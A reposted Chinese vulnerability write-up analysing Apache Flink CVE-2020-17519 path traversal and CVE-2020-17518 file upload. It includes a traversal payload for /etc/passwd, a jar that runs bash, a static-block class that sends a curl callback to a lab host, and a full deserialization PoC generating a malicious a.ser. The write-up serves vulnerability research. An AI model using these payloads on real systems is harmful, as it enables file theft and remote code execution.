9

Apache Flink CVE-2020-17518/17519 读写反序列化

 3 years ago
source link: https://y4er.com/post/apache-flink-cve-2020-17518-17519-rce/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Apache Flink CVE-2020-17518/17519 读写反序列化

Share on:

又是URL编码的问题

CVE-2020-17519 任意读文件

image.png

image.png

原理在于两次url解码 org.apache.flink.runtime.rest.handler.router.RouterHandler#channelRead0

RouterHandler类是路由核心类,用于处理路由的整体交互走向。QueryStringDecoder类是自实现的解码类,在qsd.path()中首次进行url解码。

image.png

image.png

image.png

image.png

decodeComponent()进行解码,大致逻辑就是截取%之后的内容进行解码

image.png

image.png

解码之后为/jobmanager/logs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

image.png

image.png

在request解析完method、path和参数之后,进行this.router.route()

其中this.router存放了所有的路由,通过http method进行键值对匹配。意思就是GET请求对应什么路由,全拿出来。

image.png

image.png

this.router.route()中router是取出来所有的GET请求的路由

image.png

image.png

decodePathTokens()以/进行路径分割,并进行了第二次url解码

image.png

image.png

拿到tokens之后进行router.route(path, path, queryParameters, tokens)

image.png

image.png

pattern.match(pathTokens, pathParams)这个方法中是通过已知的GET method的路由遍历进行正则匹配(一句话就是匹配路由)。

其中pattern的值是jobmanager/logs/:filename,其中:filename是变量值。

image.png

image.png

而我们的payload满足了这个路由/jobmanager/logs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd,将..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd作为filename的值。

最终返回了JobManagerCustomLogHandler类的一个实例作为resp,而filename直接从token取出

image.png

image.png

两次url编码之后../目录穿越,造成任意文件读取。 image.png

image.png

简单粗暴,通过getName()获取文件名

https://github.com/apache/flink/blob/master/flink-runtime/src/main/java/org/apache/flink/runtime/rest/handler/cluster/JobManagerCustomLogHandler.java

image.png

image.png

CVE-2020-17518 任意文件上传

所有的url请求都会经过Handler进行处理,路由随意即可触发。

image.png

image.png

image.png

image.png

文件上传位于org.apache.flink.runtime.rest.FileUploadHandler#channelRead0中。

image.png

image.png

其中fileUpload和filename均可控,造成跨目录

image.png

image.png

自身功能rce

这个鬼东西本身无鉴权,并且可以通过上传jar包执行,传个jar包上去runtime.exec就行。

package com.test;

import java.io.IOException;

public class Main {

    public static void main(String[] args) throws IOException {
	// write your code here
        Runtime.getRuntime().exec(new String[]{"bash","-c","touch /tmp/ggg"});
    }
}

image.png

image.png

反序列化RCE

还有一种值得学习的反序列化RCE的方式。

org.apache.flink.runtime.rest.handler.job.JobSubmitHandler#loadJobGraph直接将上传文件进行反序列化。当以post方式访问到/v1/jobs时,会路由到此。

image.png

image.png

根据官方文档本地构造请求包

<form name="form" action="http://172.16.1.137:8081/v1/jobs"  method="post" enctype ="multipart/form-data">
    <input type="file" name="file_0">
    <input type="text" name="request" value="">
    <input type="submit" value="提交">
</form>

其中request值为json数据,指定从上传数据包中取得反序列化的对象

{
  "jobGraphFileName": "a.ser"
}

image.png

image.png

构造请求这个地方卡了我半天,自己真是个傻逼,不知道看文档。

然后再看org.apache.flink.api.common.state.StateDescriptor#readObject其自实现了反序列化流程。

image.png

image.png

继承TypeSerializer有很多实现,其中org.apache.flink.api.java.typeutils.runtime.PojoSerializer#deserialize(org.apache.flink.core.memory.DataInputView)存在Class.forname第二个参数为true,可以静态代码块执行。

那么转变思路即为先上传恶意class到classpath中,然后通过反序列化触发static代码块的rce。

classpath如图

image.png

image.png

将编译好的Exec.class上传到bin或者lib目录下,反序列化触发就行了。

import java.io.IOException;

public class Exec {

    static {
        try {
            long l = System.currentTimeMillis();
            Runtime.getRuntime().exec(new String[]{"bash", "-c", "curl http://172.16.1.1/?id=" + l});
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

构造poc的时候在org.apache.flink.api.common.state.StateDescriptor#readObject中首先要绕过hasDefaultValue。我用的是ValueStateDescriptor类来初始化赋值。

image.png

image.png

直接贴poc吧。

package com.test;

import org.apache.flink.api.common.ExecutionConfig;
import org.apache.flink.api.common.state.StateDescriptor;
import org.apache.flink.api.common.state.ValueStateDescriptor;
import org.apache.flink.api.common.typeutils.TypeSerializer;
import org.apache.flink.api.java.typeutils.runtime.PojoSerializer;
import org.apache.flink.core.memory.DataOutputSerializer;

import java.io.*;
import java.lang.reflect.Field;

public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException {
        ExecutionConfig config = new ExecutionConfig();
        Field[] fields = new Field[0];
        TypeSerializer<?>[] typeSerializers = new TypeSerializer[0];
        PojoSerializer<PojoSerializer> serializer = new PojoSerializer<PojoSerializer>(PojoSerializer.class, typeSerializers, fields, config);

        Class<?> exec = Class.forName("Exec");
        Object o = exec.newInstance();

        StateDescriptor stateDescriptor = new ValueStateDescriptor("Asd", serializer, o);
        DataOutputSerializer dataOutputSerializer = new DataOutputSerializer(1);

        ObjectOutputStream objOutput = new ObjectOutputStream(new FileOutputStream("a.ser"));
        objOutput.writeObject(stateDescriptor);
        objOutput.close();

        ObjectInputStream objInput = new ObjectInputStream(new FileInputStream("a.ser"));
        objInput.readObject();
        objInput.close();
    }
}

将a.ser的内容放到http请求的file_0字段

image.png

image.png

收到curl请求

image.png

image.png

实战中注意的是Class.forname()一个类只能被加载一次,第二次rce的时候需要更换Exec的类名。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK